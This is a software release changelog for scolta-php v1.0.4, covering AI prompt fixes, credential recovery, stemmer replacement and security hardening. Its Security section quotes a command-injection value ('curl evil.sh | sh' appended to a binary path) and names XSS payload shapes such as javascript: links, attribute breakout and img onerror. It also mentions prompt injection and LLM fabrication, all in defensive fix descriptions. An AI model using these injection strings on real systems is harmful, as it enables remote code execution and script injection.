Skip to content

v1.0.4

Choose a tag to compare

@github-actions github-actions released this 26 Jun 06:59
b2baf5a

Fixed

  • AI sort-intent no longer fires on a hard sort word buried in a conversational/descriptive query (src/Http/AiEndpointHandler.php, appendSortableFieldsInstruction()). Regression (terra-collecta, 2026-06-17): the query "I am looking for a gift for my friend who likes the cheapest handmade items" returned sort_hint: {field: "price", direction: "asc"} — but "cheapest" there describes the items the friend likes, not a request to order results by price; the user wants gift ideas, not a price-sorted list. The SORT INTENT prompt block already carried the buried-phrase/unsorted-list litmus guidance, but its only negative gift example used the soft qualifier "affordable", so the model let STEP 4's hard-word mapping (cheapest → price asc) override the conversational frame. The prompt now adds an explicit hard-word buried negative example (the exact failing gift query) plus two STEP 3 descriptive-frame bullets, and states that a hard sort word (cheapest, most expensive, newest, oldest, longest, …) embedded in a conversational/descriptive frame is STILL NOT primary sort intent — the framing overrides the STEP 4 word→field mapping. STEP 4 fires only when ordering results is the query's whole point. This is an LLM-adherence fix: it tightens the prompt without changing the parser. The prompt-construction tests assert the new guidance strings are present; a committed tests/fixtures/sort-intent-eval.json battery tracks the failing query, 3 buried-conversational variants (expectSort: null), and the true-positive controls (most expensive stone→price desc, cheapest crystals→price asc, bare cheapest→price asc, pierres les moins chères→price asc, newest posts/latest news→date desc, oldest articles→date asc) — final verification is the browser regression re-run against the live model, since CI cannot drive the LLM deterministically.
  • Dev-only files no longer ship in the Composer dist archive (.gitattributes, scripts/validate-dist-archive.sh). git archive HEAD (the tarball Composer downloads for a GitHub-hosted package) was still shipping phpstan.neon, phpstan-baseline.neon, and the tools/stemmer-golden Rust golden-data generator (a dev/CI-only stem oracle) to every Composer consumer: the PHPStan-config entry below claimed both neon files were excluded, but no export-ignore line backed the claim, and tools/ was never excluded at all. Added export-ignore for /phpstan.neon, /phpstan-baseline.neon, and /tools, so the published package is smaller and carries no dev tooling — none of the three is loaded at runtime (src/, templates/, assets/{js,css,wasm} are untouched). The dist-archive gate is tightened to match: the three move out of the top-level allowlist into the excluded-paths mirror, so the gate now asserts they are absent and any reappearance fails CI.
  • Auto-provisioned Amazee credentials stored without resolved model names no longer leave AI permanently broken (src/AiProvider/Amazee/AutoProvisioner.php). Provisioning persists credentials and resolves model names as two non-atomic steps (AmazeeTrialProvisioner::provision() stores the token+url, then calls /model/info). When the model-info call fails, getAvailableModels() swallows the error and returns [], so the $onModelsResolved gate never fires and no model name is persisted — but ConfigStorageInterface::load() requires only token+url, so it reports the half-provisioned credentials as valid. ensureAiAvailable() then short-circuited on load() !== null on every subsequent request and never re-resolved, so the caller fell back to the dated config default (claude-sonnet-4-5-20250929) which the Amazee LiteLLM gateway rejects with HTTP 400 "Invalid model name" — failing AI silently (summarize returns {}, expand returns an unexpanded 200) with no self-recovery. This is outside KeyExpiryRecovery's remit, which handles only auth-class failures. ensureAiAvailable() now accepts an optional $hasResolvedModels predicate: when stored credentials exist but the caller reports models are still unresolved, model resolution is re-attempted against the already-stored key (never a fresh trial, which would waste a server-limited allocation) and $onModelsResolved fires with the result, so the incomplete-provision state self-heals on the next lazy-init pass. Without the predicate the historical no-op is unchanged. A regression test drives the full provision → failed-resolution → store → re-resolve sequence. (The dated-default fallback itself lives in the platform adapters' client construction, which adopt the predicate when they re-vendor.)

Security

  • Configured Pagefind binary paths are now shell-escaped before execution (src/Binary/PagefindBinary.php). Both version() and the internal isExecutable() probe interpolated the binary path directly into exec($binary . ' --version 2>/dev/null'). The configured path can come from platform settings (admin forms, config files), so a value like /usr/bin/pagefind; curl evil.sh | sh executed a second command. A new public escapeShellCommand() helper applies escapeshellarg() to the whole path, special-casing known multi-word commands (npx pagefind is split and escaped per token so it still runs as command + argument). downloadTargetDir() also now throws on mkdir() failure instead of silently returning a directory that was never created. Regression tests assert the composed command string for metacharacter, command-substitution, embedded-space, and npx pagefind inputs — nothing is executed.
  • Markdown link URLs are scheme-gated on both renderers (src/Util/MarkdownRenderer.php + formatInline in assets/js/scolta.js). Both sides turned any [text](url) in AI output into a clickable link, so a javascript:/data: URL in a model response (or via prompt injection through indexed content) became a live link; the JS side's domain allowlist only engaged when allowedDomains was non-empty, i.e. it failed open in the default configuration. Both renderers now allow only absolute http(s) URLs and scheme-less relative paths, rendering everything else as plain text. Control characters and whitespace are stripped before scheme detection because browsers ignore them when parsing a scheme (jav\tascript: executes). The JS side additionally attribute-escapes the href (the summary text is escaped with escapeHtml, which leaves " intact, so a quote inside an otherwise-allowed URL could previously break out of the href attribute). Covered by PHPUnit tests (javascript:, data:, tab-split scheme, relative and http(s) controls) and JSDOM Jest tests driving the real rendering path.
  • Attribute interpolations in assets/js/scolta.js use a new quote-escaping escapeAttr(), and result-card hrefs are scheme-checked. escapeHtml() is a textContent → innerHTML round-trip that does not escape quotes, but it guarded attribute contexts: the LLM-generated expanded terms in data-scolta-search-term="…", filter dimension/value attributes on dismiss buttons and checkboxes, and the result-title title attribute — a value containing " could close the attribute and mint new ones (e.g. event handlers). Result cards also interpolated the raw ${url} into two hrefs, so a poisoned document URL like javascript:… became clickable. Every attribute interpolation now uses escapeAttr() (escapes &<>"'); escapeHtml() remains for text nodes. Result-card hrefs go through sanitizeUrlAttr(), which attribute-escapes allowed (http(s)/relative) URLs and renders anything else as inert #. JSDOM Jest regression tests (tests/js/security-render.test.js) prove a "-bearing expanded term cannot break out of its attribute and a javascript: result URL is not clickable.
  • stripHtml() in assets/js/scolta.js parses untrusted HTML in an inert document. It previously assigned untrusted excerpt/title HTML to innerHTML of a live detached <div>, whose subtree shares the page's document — resource-bearing elements (<img src onerror=…>) load eagerly there in real browsers. It now uses new DOMParser().parseFromString(text, 'text/html').body.textContent, which neither runs scripts nor loads resources. A Jest test drives an <img onerror> payload through the real render path, plus a structural pin that the function stays DOMParser-based (the behavioral test alone cannot catch a revert in JSDOM, which loads no resources either way).
  • FilesystemDriver::deleteDirectory() no longer follows symlinks (src/Storage/FilesystemDriver.php). The delete loop called rmdir/unlink on $item->getRealPath(), which resolves symlinks — deleting a retired index tree containing a planted (or accidental) symlink deleted the link target, potentially outside the tree (the recursive iterator does not follow links for traversal, but realpath re-introduced the hop at delete time). The loop now operates on getPathname() and unlinks links themselves (isLink() checked before the dir/file branch, since isDir() follows links too). A regression test builds a tree containing symlinks to an outside file and an outside directory and asserts both targets survive deletion. exists() also now calls validatePath() — it was the only driver method skipping the stream-wrapper guard every sibling applies.
  • Follow-up conversations enforce content-size caps (src/Http/AiEndpointHandler.php). handleFollowUp() validated roles and the message cadence but no sizes, while its sibling endpoints cap the query at 500 bytes and summarize context at 100k — a client could relay arbitrarily large payloads straight to the AI provider. Each message's content is now capped at 100,000 characters (mirroring the summarize context safety net, since the first user turn legitimately embeds search context) and the conversation total at 400,000 characters, both returning HTTP 400. The caps are measured in Unicode characters via mb_strlen(), matching scolta-core's char-based conversation limits — a byte count would shrink the budget up to 4× for CJK or emoji-heavy messages (ext-mbstring is now declared in composer.json; it was already a de-facto hard runtime dependency of the stemming pipeline). Content must also be a string now — a nested array previously passed validation and was forwarded to the provider.

Added

  • Referer: scolta-php header on Amazee control-plane requests (src/AiProvider/Amazee/AmazeeClient.php). The post()/get() helpers that hit api.amazee.ai now send Referer: scolta-php, so the Amazee backend can attribute control-plane traffic (trial provisioning, sign-in, region and key calls) to this SDK (issue #202). The per-tenant LiteLLM calls (getAvailableModels, validateToken) target the tenant litellm_api_url, not api.amazee.ai, and are unchanged. Covered by a test asserting the header on a POST and a GET.
  • Distribution-archive validation gate (scripts/validate-dist-archive.sh, dist-archive CI job). Composer installs this package as a dist archive: for a GitHub-hosted package, Composer downloads GitHub's zipball/tarball, which is produced by git archive and honors .gitattributes export-ignore. The export-ignore list is therefore the live filter deciding what every Composer consumer downloads, and nothing in CI validated it against the archive it actually produces — a typo'd or missing line silently ships dev cruft, an over-broad line silently drops a runtime file and ships a dead package. The new script reproduces the shipped archive (git archive HEAD) and asserts four things: no export-ignored path leaked in, every committed runtime asset (src/, templates/, assets/js/scolta.js, the browser WASM, the bundled CSS) is present, every top-level entry is on an explicit fail-closed allowlist (a new top-level file/dir fails CI until it is either export-ignored or added to the allowlist in a deliberate commit), and the archive stays under a documented size cap (~2x the measured ~2.8 MB clean archive). Mirrors the gate scolta-drupal already runs against its drupal.org tarball; the precedent is the scolta-wp 13 MB zip incident and the WordPress.org dist-cruft flags. When introduced this gate was validation-only; a follow-up in this same release tightens .gitattributes to stop shipping dev-only files and flips the gate to assert their absence (see Fixed).
  • Amazee trial-key expiry detection, guarded re-provisioning, and truthful health (src/AiProvider/Amazee/KeyExpiryRecovery.php, AutoProvisioner::reprovision(), src/Service/AiServiceAdapter.php, src/Health/HealthChecker.php). Amazee trial keys are revoked server-side when the trial ends, and the expiry is not announced at provisioning time (verified against the live API: /auth/generate-trial-access returns only created_at; the LiteLLM key's own expires is a year out while observed trial revocation is ~a day) — so the only reliable signal is the auth failure on the next inference call. Nothing detected it: AutoProvisioner::ensureAiAvailable() no-ops whenever credentials are stored, the expand/summarize graceful-degrade path swallowed the failures, and health equated "creds stored" with "AI configured". Observed on the django demo 2026-06-09: key expired, every LiteLLM call returned 400 expired_key, expand silently echoed the query and summarize returned {} for ~24h while health reported ai_configured: true. Four pieces: (1) KeyExpiryRecovery classifies auth-class failures (ApiKeyInvalidException, or expired_key/invalid_api_key/auth-error markers anywhere in the exception chain — budget-exhaustion errors are explicitly excluded and keep routing to BudgetAwareProviderDecorator, since a fresh trial key resetting the spend ceiling is the upgrade flow's job, not error recovery) and runs a cache-guarded one-attempt-per-window re-provision (default 600s; the guard is set before the attempt so a failed attempt also waits out the window). (2) AutoProvisioner::reprovision() is the recovery entry point that bypasses the stored-credentials no-op: clear, then provision fresh through the existing provisioner path; ensureAiAvailable()'s docblock now states why the no-op deliberately doesn't validate. (3) AiServiceAdapter::setKeyExpiryRecovery() wires recovery into all three AI call paths: on an auth failure the adapter re-provisions (guarded) and retries the request exactly once with a client rebuilt from the fresh credentials (createRecoveredClient(), overridable like createClient()); without wiring, behavior is unchanged. (4) HealthChecker accepts an optional cache and reports new ai_usable / ai_auth_failing fields: ai_configured still means "credentials present", ai_usable additionally requires no cached auth-failure marker (recorded at call time — never a live API probe per health request), and a configured-but-unusable state now drives status: degraded. Covered by recovery-classification tests (expired-key/invalid-key/chain-walking/budget-exclusion), exactly-one-attempt-per-window tests against a mocked provisioning API, adapter retry-with-fresh-creds tests, and health tests for stored-but-expired credentials.
  • Tag1\Scolta\Util\AuthenticatedCipher — authenticated encryption (encrypt-then-MAC) for adapter credential storage, with a typed CryptoException (src/Util/AuthenticatedCipher.php, src/Exception/CryptoException.php). The scolta-wp quality audit found Amazee credential storage using unauthenticated AES-256-CBC with silent-null decrypt failure — and hand-rolled per-adapter crypto is exactly how that bug happened, so the generic primitive now lives in scolta-php next to the shared Amazee layer the adapters already implement (ConfigStorageInterface). The class derives two independent keys from caller-supplied key material via HKDF-SHA256 (scolta-enc-v1 / scolta-mac-v1 info strings — never one key for both encryption and MAC; key material under 32 bytes is rejected at construction), encrypts with AES-256-CBC under a random per-call IV, and authenticates version + IV + ciphertext with HMAC-SHA256, producing a scolta-enc:v1: + base64(iv‖ciphertext‖mac) envelope whose version identifier cannot be stripped or swapped without invalidating the tag. decrypt() verifies the MAC with hash_equals before any decryption and throws CryptoException on every failure mode (bad prefix, bad base64, truncation, MAC mismatch, cipher failure) — never a null/false return, because silent decrypt failure is the exact WP bug this replaces. Static isEnvelope() is the cheap, key-free branch point adapters use to distinguish the new format from legacy plain-CBC blobs pending migration. Key sourcing (WP salts, Drupal hash_salt, Laravel APP_KEY) and legacy-blob migration stay adapter-side by design. ext-openssl is now declared in composer.json require (it was already a de-facto hard runtime dependency); no new package dependency and no sodium path. Covered by round-trip (empty/multi-KB/binary), IV-randomness, per-region tamper, wrong-key, short-key, version-tamper, and isEnvelope tests.
  • AiClient::DEFAULT_MODEL public constant. The default model literal (claude-sonnet-4-5-20250929) was duplicated in AiClient and ScoltaConfig::$aiModel; both now read one constant, so the defaults can never drift. A test pins the equality.
  • BudgetAwareProviderDecorator::isBudgetError(\Throwable): bool and a now-public BUDGET_MESSAGE constant (src/AiProvider/Amazee/). scolta-drupal and scolta-wp duplicate the 'Budget has been exceeded!' magic string to classify Amazee budget-exhaustion errors. The new static helper walks the exception chain (matching the message or an AmazeeBudgetExceededException instance) and is the single API adapters call instead; the decorator's own rethrow path now delegates to it.
  • AiControllerTrait::parseJsonBody(string): array. All three PHP platform adapters hand-roll identical json_decode + 400-error blocks in their AI controllers. The shared helper returns ['ok' => true, 'data' => …] or the same ['ok' => false, 'status' => 400, 'error' => …] shape the AiEndpointHandler methods produce, so controllers can map both through one error path.
  • MemoryThresholdExceededException (src/Exception/). IndexBuildOrchestrator classified a resumable memory abort by substring-matching the exception message (str_contains($e->getMessage(), 'exceeds safe threshold')) — a wording tweak in MemoryTelemetry would have silently turned recoverable aborts into hard failures. MemoryTelemetry now throws the dedicated subclass (still a \RuntimeException, so existing broad catches keep working) and the orchestrator catches by type. The duplicated 0.75 memory-pressure ratio in the orchestrator is also extracted into a named MEMORY_PRESSURE_RATIO constant.
  • Static analysis: PHPStan at level 8 with a ratchet baseline. The repo had no static analysis (no phpstan.neon, not in require-dev, no CI job) while every sibling adapter runs PHPStan in CI. Added phpstan/phpstan (^2.1) at level 8 — the highest classic level; levels 9/10 produce 245/532 mixed-type findings that would bury the ratchet in noise — with a generated phpstan-baseline.neon (164 baselined findings). The baseline is a ratchet: new code must analyse clean, and baseline entries should only ever be removed, not added. New composer analyse script (phpstan analyse --no-progress --memory-limit=512M) and an analyse CI job mirroring the sibling repos' pattern. Both neon files are excluded from the dist archive alongside the other dev-only configs.
  • @since/@stability sweep across the public API, with a structural gate (tests/Documentation/StabilityAnnotationTest.php). Repo CLAUDE.md mandates both tags on every public method and UPGRADE.md's 1.0.0 notes claim the whole public API carries stability annotations — but only ~31/71 src files complied. Every named public method in src/ now carries @since/@stability (pre-existing 1.0-era methods are stamped @since 1.0.0 / @stability stable, matching the 1.0.0 UPGRADE statement; per-method historical versions were not reconstructed from git archaeology — reviewers can refine individual tags). The new structural test enforces the rule source-parse style (HygieneTest pattern; magic methods excluded, matching existing convention), so unannotated public methods can no longer land.
  • ChunkReader::verifyFooterDigests() — both footer digests in one file read. verifyHmac() and verifyCrc32() were ~45-line near-duplicate full-file passes, and BuildState::readChunk() called both — reading every chunk twice before even loading it. The combined method computes both digests over a single pass and returns per-digest verdicts (true/false/null = not-applicable, preserving the pre-0.3.3 missing-crc32 compatibility behavior and readChunk()'s distinct HMAC-vs-CRC error messages). The old methods remain and delegate to it. Unit tests cover combined verification, wrong-secret isolation (a bad HMAC secret must not poison the CRC verdict), no-secret and legacy-footer not-applicable verdicts, and corruption failing both.
  • Renderer parity gate between PHP MarkdownRenderer and JS formatSummary/formatInline (tests/fixtures/render-parity/). The two renderers process the same AI output but had quietly drifted (the JS side gained heading support and a domain allowlist; its comment claiming cleanBrokenMarkdown() "mirrors" the PHP repair logic was stale — it is a superset, and is corrected). New shared JSON fixtures assert the common contract — bold/italic, links, code-backtick passthrough, list/paragraph structure, HTML escaping, truncated-link repair — on both sides: tests/Util/RenderParityTest.php (PHPUnit, against MarkdownRenderer::render()) and tests/js/render-parity.test.js (Jest, driving the real scolta.js summary path in JSDOM). Deliberate differences (headings, quote entity-encoding) are documented in the fixture README and kept out of the fixtures. assets/js/scolta.js changes are comment-only; checksums regenerated.
  • No-fabrication guard for unrecognized named entities in the default expand_query prompt (rule 15). A behavioral regression run of the merged decomposition rules (13/14) found the existing no-fabrication clause too narrow: rule 13 forbids inventing members to fill a category list, but nothing stopped the model from manufacturing authoritative-sounding domain detail for a named entity it does not recognize. Observed on the medical demo, "treatment for Martian dust lung syndrome" (a fictional condition) expanded to confident clinical terminology ("Martian dust pneumoconiosis therapy", "regolith inhalation treatment"); the e-commerce demo did the same for a made-up crystal ("Lumarite" → "metaphysical properties / energy work"), while the encyclopedia demo handled a fictional planet correctly — inconsistent, and in a medical/legal/safety context actively harmful. New rule 15 (UNRECOGNIZED OR UNVERIFIABLE NAMED ENTITIES) generalizes the guard: when a query names a specific entity the model does not recognize as real and well-known, it must not manufacture members, terminology, treatments, or attributes for it, and must expand only with generic, neutral phrasings of the surrounding topic ("treatment for Glorptosis" → "medical treatment" / "therapy options" / "symptom management", not invented pathology). The rule is a guard, not a decomposition rule, so the existing 2-4/up-to-6 cap line is unchanged, and it does not affect cases where rule 13 already works (those name known categories). The template stays byte-identical to scolta-core's EXPAND_QUERY constant and scolta-python's copy. A presence test (testExpandQueryForbidsFabricatingUnverifiedEntities) pins the rule text. Additive; no signature change.
  • Prompt-text identity gate (tests/Prompt/PromptTextIdentityTest.php). A new PHPUnit test asserts that DefaultPrompts' three AI prompt templates (expand_query, summarize, follow_up) share the same base text, byte-for-byte, as the canonical constants in scolta-core/src/prompts.rs — closing the silent cross-implementation drift the suite was otherwise blind to (an edit to a prompt in one copy and not the other would change AI behavior depending on whether prompts resolve server-side or client-side, with every existing test still green). The comparison normalizes out two documented, intentional, path-specific differences before asserting equality: the {DYNAMIC_ANCHORS} injection line (per-site instructions reach the WASM/serverless path by filling that token in resolve_template(), but reach the CMS/PHP path through PromptEnricherInterface::enrich() hooks and the prompt_* override fields, so the token lives only in the Rust copy) and PHP single-quote escaping. The test skips cleanly when scolta-core is not checked out (it is not a Composer dependency of scolta-php), so it is inert in a published-package checkout and runs wherever the sibling source is present. Test-only; no runtime change. Also corrects the DefaultPrompts class docblock, which previously claimed the templates were simply "identical" to scolta-core, to state the precise normalized contract this test enforces.
  • Machine-readable degraded indicator on expand/summarize AI-failure fallbacks (src/Http/AiEndpointHandler.php, assets/js/scolta.js). When the AI call fails, handleExpandQuery() degrades to echoing the query as the sole term and handleSummarize() to an empty payload — correct graceful degradation, but previously indistinguishable from a healthy response: during the 2026-06-09 regression an expired provider key silently killed AI on the django demo for ~24h while every expand/summarize response still returned HTTP 200 and health reported ai_configured: true. Both fallback payloads now carry degraded: true plus a degraded_reason of ai_unconfigured (no API key — the expected off state) or ai_error (provider failure). The fallback behavior itself is unchanged, degraded payloads are never cached (so the next request retries the AI call — pinned by tests), and the client logs a console warning when it receives one. Additive keys; clients that ignore them see the exact previous behavior.

Changed

  • Indexes built by earlier scolta-php versions must be rebuilt — stored stems change on stemmer-divergent words, and until rebuild those words keep missing (the modern Snowball stemmer backend, below). This is the behavioral change to act on when upgrading to 1.0.4; see UPGRADE.md.
  • Vendored browser WASM rebuilt from scolta-core main 733915c (assets/wasm/). The previous vendored build predated three merged core PRs, so the browser-side engine was missing their fixes: core #45 — PII pattern validation and config clamping are now wired into the production score_results/batch_score_results entry points (out-of-range scoring values such as recency_boost_max: 100.0 are clamped to their documented ranges with a console.warn, instead of silently distorting ranking); core #48 — context-extraction correctness (language-aware stop words, fixed sentence-boundary truncation, original-text byte-offset mapping, char-based conversation limits); core #47 — lint/docs only. scolta_core_bg.wasm and scolta_core.js were refreshed via composer update-browser-wasm and the ASSETS.sha256 wasm entries regenerated via the manifest script; scolta_core.d.ts (not covered by the script) was copied manually — its delta is doc-comments only (# Errors/# Stability annotations), no signature changes and no WASM interface version bump. Adapters and demos pick this build up at their 1.0.4 lock bumps. The full PHPUnit suite and the Jest suite (which executes the new binary directly) pass unchanged — no fixture regeneration was needed.
  • wamania/php-stemmer is removed (src/Index/Stemmer.php, new src/Index/Snowball/). Pagefind stems every query at search time with the Rust crate pagefind_stem 1.0.0 — the modern (post-3.0) Snowball algorithms — while the PHP indexer stemmed with wamania/php-stemmer, which implements the old algorithms at every released version. Every stemmer-divergent word was silent recall loss: an index storing intern can never answer a query stemming to internal (likewise addedad/add, organicorgan/organic, ru актёр never folding ё→е — 57 EN / 920 FR / 1,247 DE / 9 ES / 112 RU divergent words on the committed corpora). The replacement is pure PHP generated by the Snowball compiler's own -php backend and vendored at src/Index/Snowball/ (BSD-3-Clause, license vendored alongside; ~2× faster than wamania on the EN corpus; removes the wamania + voku/portable-utf8 dependency subtree and its PHP 8.4+ deprecation spam). Generation is pinned — scripts/generate-stemmers.sh — to the exact snowball revision pagefind_stem 1.0.0 was generated from (recovered by byte-comparing compiler -rust output against the crate's vendored sources; neither the v3.0.0 nor v3.1.1 release tag is parity-correct, see src/Index/Snowball/PROVENANCE.md), with the PHP 8.3+ typed class constants the generator emits stripped to honor the >=8.1 floor. The oracle now covers every supported language: a new tools/stemmer-golden Rust harness (pins pagefind_stem = "=1.0.0", mirrors scolta-python's) generated golden stems for all 14 languages — corpora for ca/da/fi/it/nl/no/pt/ro/sv added from the snowball project's own test vocabularies (589,069 words total) — and StemmerConcordanceTest now asserts zero divergence per language (previous per-language tolerances of 0.94–0.97, and the apostrophe-word skip, are gone; the wamania-era DE/FR umlaut/elision allowances were exactly the recall bug). New guards: a modern-direction tells test (catches regeneration from the wrong snowball revision), and sha256 drift guards over both the vendored stemmers and the corpus fixtures (SnowballProvenanceTest, StemmerProvenanceTest) so silent regeneration fails CI until provenance is re-baselined. The Pagefind-reference coverage threshold tightened 0.74 → 0.748 and vocabulary overlap 0.703 → 0.704 (re-measured on the new backend); the vacuous testMissingStemmerClassThrows (it threw the exception it asserted) was removed. Stemmer's public API, the supported-language list (all 14 are pagefind_stem-supported; none fall back to identity), SupportedVersions::BUNDLED_VERSION, and all browser assets are untouched.
  • An unrecognized AI provider now throws instead of silently becoming Anthropic (src/AiClient.php). Only 'openai' was special-cased, so any other configured value ('claude', 'azure', a typo'd 'anthorpic') fell through to the Anthropic request path — wrong endpoint, wrong auth header, and a confusing downstream HTTP error at request time. The constructor now fails closed with an InvalidArgumentException naming the supported providers (anthropic, openai).
  • PHP floor stays >=8.1, and PHP 8.1 is restored to the CI test matrix (composer.json, .github/workflows/ci.yml, src/SetupCheck.php, README.md, docs/CONFIG_REFERENCE.md). Reverts the unreleased ^8.2 bump from the quality cleanup, which overrode the standing decision to support 8.1 (the modern-stemmer pipeline strips PHP 8.3+ typed class constants specifically to honor that floor). The bump's stated justification was also factually wrong: src/Index/Token.php is a final class with per-property readonly promotion — 8.1-compatible syntax; only its docblock describes the pattern as a "readonly class". A sweep of src/ and tests/ found no 8.2-only syntax (no readonly class, DNF types, trait constants, or standalone true/false/null types); the #[\SensitiveParameter] attributes on AuthenticatedCipher are inert rather than fatal on 8.1 (attributes only resolve under reflection). The restored 8.1 CI row installs platform-compatible dev dependencies (PHPUnit ^10) by not passing --ignore-platform-req=php — PHPUnit 11's 8.2+ requirement was why 8.1 was dropped from the matrix in the first place, but the library's own floor must not be dictated by a dev dependency that has a compatible major available.
  • HtmlCleaner::findMatchingClose() no longer O(n²) (src/Html/HtmlCleaner.php). The nesting-aware close-tag scan copied the remaining document tail via substr() on every iteration; on large documents with many nested same-name tags that is quadratic. Replaced with offset-based stripos(..., $pos) — byte-identical semantics (same candidate selection, same open-tag validation, same return offsets), verified by the unchanged HtmlCleaner and concordance suites.
  • IndexBuildOrchestrator mechanical decomposition — no behavior change. build() was ~245 lines with two copies of the slim-proxy literal and two copies of the chunk-flush block (emit → buildFromTokenData → commit → emit → advance → GC); all seven new StatusReport(...) sites repeated the same identity boilerplate. Extracted private makeSlimProxy() and flushChunk() helpers and a makeStatusReport() factory used by every report site in build() and finalize(). Suite-verified mechanical refactor.
  • php-cs-fixer ruleset switched from @PSR12 to @PER-CS (the actively-maintained successor profile). The config change and the mechanical re-format fallout are separate commits within the PR for reviewability.
  • BuildState::shouldResume() stale-lock cleanup matches the class's TOCTOU discipline. Every other stale-lock unlink() in the class is @-suppressed with a TOCTOU comment (a concurrent process may legitimately have removed the file between the staleness check and the unlink); shouldResume() had the same race with a bare unlink() that warned instead. Unified.
  • The prompt-text identity gate now actually runs in CI (it was silently skipping there). As merged, PromptTextIdentityTest resolved scolta-core only via a sibling path (../../../scolta-core/src/prompts.rs), but ci.yml checked out scolta-php alone and never the sibling repo — so in CI the path never existed, all three cases hit markTestSkipped, and the build went green without the gate ever comparing anything. The gate therefore only ran in local umbrella checkouts. Two changes fix this: (1) the test now honors a SCOLTA_CORE_PROMPTS env override and falls back to the sibling path when it is unset, and it now fails (rather than skips) when the override is set but the file is missing, so a typo in the path cannot silently disable the gate; (2) ci.yml's test and coverage jobs check out tag1consulting/scolta-core main into scolta-core-src/ and point SCOLTA_CORE_PROMPTS at it, so the gate runs in CI. The class docblock's incorrect claim that "scolta-php's own CI checks out the sibling repo" is corrected to describe this mechanism. Deliberate, accepted coupling: pinning core main means a prompt edit landed on core main turns scolta-php CI red until the PHP copy is reconciled — that red is the gate detecting cross-repo drift, working as designed. Test/CI-only; no runtime change.

Fixed

  • The sub-word frequency guard no longer runs a match-all pagefind search for its denominator (assets/js/scolta.js). subwordAllowed() (issue #156) computed the corpus size with pagefind.search(null, activeFilters) — and a null/match-all search makes pagefind download the entire word index, regardless of filters. On small demo corpora the index is 0.1–5 MB and nobody noticed; on the 6,909-page Wikipedia featured-articles demo it is 5,678 chunks / 111 MB, re-fetched on every fresh page's first search. Because the AI summary is deliberately sequenced after the expansion merge (which awaits the guard), the production AI Overview stalled behind the download for 56–138 s measured (multi-minute on slower links, and the plausible driver of the Jun 5 Datadog "very slow to load/search" alerts), while the summarize endpoint itself answers in ~5 s. The denominator now comes from data already cached at init, never the word index: per-language page_count totals from pagefind-entry.json (recorded in the existing init-time fetch), scoped to the active filters via pagefind.filters() value counts when filters are set (smallest selected dimension as the AND upper bound — a too-large denominator only admits more sub-words), with a largest-dimension fallback when the entry file is unreachable and fail-closed (no sub-words) when no totals exist at all, matching the guard's existing error posture. Empirically pinned: a term search loads 1–2 index chunks, pagefind.filters() and the init warm-up search("") load zero, only search(null) pulls all 5,678. Jest regression tests assert the guard never issues a null search while still blocking/admitting by frequency, the entry-json and filters() denominator paths, active-filter scoping (Set realm-correct), and the fail-closed no-data case; the baseline harness now serves page_count in its pagefind-entry.json mock like real pagefind always does.
  • composer.lock: guzzlehttp/psr7 bumped 2.9.0 → 2.11.0 (GitHub security advisory affects < 2.10.2). Dependabot's composer security job could not deliver this update itself: it derives config.platform.php from the package's >=8.1 floor, and the lock's dev dependencies (PHPUnit 11.5.55, sebastian/diff 6.0.2, both php >=8.2) make every Dependabot resolution fail with "requirements could not be resolved" — a structural consequence of the restored 8.1 floor coexisting with 8.2+ dev tooling in the lock. The job has been red on every push since the floor restore and will stay unable to act on future composer advisories for the same reason; this bump clears the currently open psr7 advisory by hand (lock-only — CI resolves dependencies fresh with composer update and never installs from the lock; symfony/polyfill-php80 moves from dev to runtime in the lock as a new psr7 2.11 dependency). Packagist's audit DB does not flag psr7 2.9.0, which is why composer audit in CI stayed green while GitHub's advisory DB triggered Dependabot.
  • Recall guard for LLM filter hints: auto-applied topic filters can no longer silently collapse the result set (assets/js/scolta.js, assets/css/scolta.css). P1 from the 2026-06-09 regression (parity Q10/Q19/Q20): the expand response's filter_hint auto-applied and STACKED filters that are individually plausible but jointly near-empty — "most popular git workflows" returned 1 result on the git-manual drupal/django demos while the unfiltered ports returned 100+. Live root-causing found two shapes of the same failure: (a) dead-dimension hints — the git-manual drupal demo's filter_fields config names topic while its index exposes section, so the server emits hints for a dimension pagefind can never match and every filtered search returns 0, leaving only the primary AND-match (the observed "1 result"); (b) joint collapse — on django the hinted section=Comparisons + difficulty=Expert both exist and are individually healthy, but their intersection is ~1 document. The LLM cannot know corpus counts, so no prompt fix can be complete — the client is the only layer holding ground truth, and the fix lives there. Before applying hints, the client now probes the index with the same term union the merged search will run (cheap id-only counts, no fragment loads), evaluating hints sequentially against the JOINT count so stacking is caught: a hint auto-applies only when the filtered union keeps at least FILTER_HINT_MIN_RESULTS results (default 5, clamped to the unfiltered count for tiny corpora) AND at least FILTER_HINT_MIN_RATIO (default 0.1) of the unfiltered union. A declined hint with a non-empty match becomes an offered chip — dashed-border, clickable, applies the filter only on explicit opt-in — and a zero-match hint is dropped outright (offering it would be a one-click empty page). Both knobs are configurable; setting both to 0 restores the previous always-apply behavior. Verified live on the git-manual demo: the dead-dimension Q20 hint now keeps all 76 results (was 1) with the hint dropped, and the django-shape stack keeps 7 usefully-narrowed results with Comparisons applied and the collapsing Expert dropped. The blessed baselines survive by construction and by test: a healthy narrowing hint (the "meatless" → Vegetarian / "merge conflict resolution" → Merging shape) still auto-applies with its dismissible badge, and the silent language auto-filter is untouched (it participates in the guard's baseline, so probes are scoped exactly like the user's real searches). JSDOM Jest tests cover collapse → offered, dead dimension → dropped, healthy → applied, stacked healthy-marginals/collapsed-joint → first applied + second offered, chip click-through, language-scope survival, guard-disabled compatibility, and case-insensitive canonicalization before probing.
  • scolta.js no longer silently drops a sort hint when the subject matches no facet (assets/js/scolta.js). When the expand response carried sort_hint + subject_terms and matchSubjectToFilters() found no facet match, the sort was discarded with only a debug log — no badge, no reorder. Generic subjects that name the corpus itself ("posts" on a blog, "crystals" in a crystal shop) never map to a facet, so explicit sort queries like "newest posts" (apollo) and "cheapest crystals" (terra) returned unsorted relevance results end-to-end while the endpoint correctly produced the hint (observed in the 2026-06-09 regression). The unmatched-subject case now falls back to applying the sort unscoped — the same path as a subject-less sort — with the dismissible sort badge visible. The legitimate subject-scoping case is preserved: a subject that matches a facet (exact, substring, or subcategory-description pass) still narrows the search and sorts within that scope. The #143 failure this guard originally addressed ("longest articles about physics" sorting the whole corpus when "physics" matched no facet value) is mitigated by the subcategory matching #143 itself introduced (topical subjects now usually map via filter descriptions), by the visible badge making an over-broad sort obvious and dismissible, and by the existing fallback that drops the sort when the field is absent from all results. JSDOM Jest tests drive the full search flow for all three contracts: unmatched subject → sort applied + badge shown + no filter badge; facet-matching subject → scoped sort with filter badge, unchanged; no sort hint → no badge.
